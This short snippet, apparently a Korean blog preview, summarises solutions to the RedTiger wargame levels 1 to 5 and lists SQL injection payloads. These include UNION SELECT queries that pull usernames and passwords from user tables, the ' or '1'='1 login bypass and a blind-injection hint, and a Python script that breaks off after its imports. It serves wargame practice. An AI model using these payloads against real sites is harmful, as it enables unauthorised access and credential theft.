[OverTheWire RedTiger] level 1-5
Level 1 id = 1 union select 1,2,password ,4 from level1_users Level 2 id : 1' or '1'='1 pw : 1' or '1'='1 Level 3 preg_match error 유발 -> source auditing 'urlcrypt.inc' encrypt 함수 그대로 이용해서 injection 시도 encrypt("' union select 1,2,3,username,password,6,7 from level3_users where username='admin'#") Level 4 blind 할 때, ascii 안 쓰고 substr()=0x61 이런 식으로 바로 비교할 수 있다. import urllib2 import time import str..
2022. 1. 10.
